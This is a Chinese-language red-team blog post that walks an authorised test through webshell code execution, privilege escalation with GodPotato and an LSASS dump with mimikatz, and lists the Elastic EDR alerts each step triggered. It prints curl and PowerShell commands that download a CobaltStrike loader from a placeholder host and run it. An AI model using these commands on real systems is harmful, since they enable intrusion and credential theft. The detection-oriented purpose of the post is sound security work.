在最近的一次评估中,我和我的团队成员被指派对多个应用程序进行网络安全审查,如果有机会,还可能进行内部渗透测试。
在其中一个应用程序上,我们成功上传了一个执行 Windows cmd 的 aspx webshell。本次任务不要求我们保持隐蔽,这篇博客文章的目标是重现我们在 Elastic EDR 监控下所做的操作。
Web 远程代码执行
我们下载了我们的 CobaltStrike 加载器并执行了它。
> curl http://website.crash.lab/webshell.aspx --data '70c1cc863a=powershell wget http://xxxx.com/load.exe -outfile C:WindowsTempload.exe'
> curl http://website.crash.lab/webshell.aspx --data '70c1cc863a=C:WindowsTempload.exe'
然后我们收到了我们的信标
如果我们查看 Elastic EDR 中的警报,我们可以看到我们的行为非常明显。
Web Shell Detection: Script Process Child of Common Web Processes
因为 IIS 进程w3wp.exe
派生了cmd.exe
Malicious Behavior Detection Alert: Suspicious Microsoft IIS Worker Descendant
因为 IIS 进程w3wp.exe
派生了cmd.exe
,这表明 Web 服务器已被入侵Remote File Download via PowerShell
因为使用了wget
Powershell 命令下载我们的加载器Memory Threat Detection Alert: Windows.Trojan.CobaltStrike
因为 Elastic EDR Yara 规则在内存中标记了我们的信标Malicious Behavior Detection Alert: Network Module Loaded from Suspicious Unbacked Memory
- 由于我们的信标存储在无备份内存中,Elastic EDR 检测到来自该可疑区域的 API 调用
我们利用的下一步是将权限从本地服务帐户提升到本地管理员。
我们可以通过两种不同的方式实现:
滥用 SeImpersonatePrivilege
权限提升到 SYSTEM(我们在任务期间使用了这种方式)滥用 Kerberos S4U2Self
生成具有本地管理员权限的域用户的服务票据
权限提升 - SeImpersonatePrivilege
我们使用 GodPotato 来利用 SeImpersonatePrivilege
beacon> execute-assembly /home/user/Tools/Windows/GodPotato-NET4.exe -cmd "cmd /c C:WindowsTempload.exe"
我们成功获取了 SYSTEM 信标。
最后一个操作触发了以下警报:
恶意行为检测警报:从可疑内存加载的 Microsoft 通用语言运行时
- 因为CLR.dll
被后渗透临时进程加载恶意行为检测警报:通过内存修补绕过 AMSI 或 WLDP
- CobaltStrike 的 AMSI 修补已被标记
LSASS 转储
在获得 SYSTEM 权限后,我们启动了内置的 mimikatz 命令,从 LSASS 中转储凭据。
这引发了以下警报:
通过 Windows API 访问 LSASS 进程
内存威胁检测警报:Windows.Hacktool.Mimikatz
从无备份内存尝试访问 LSASS
结论
正如我们所看到的,在攻击路径的不同阶段,有大量机会检测到我们的行为:
执行 Webshell 通过 execute-assembly 执行 .NET 程序集 LSASS 转储
在下一部分中,我将再次介绍每个步骤,但重点放在检测上。
Resources
Hyperlink | Info |
---|---|
https://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabilities-part1.html | ref |
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...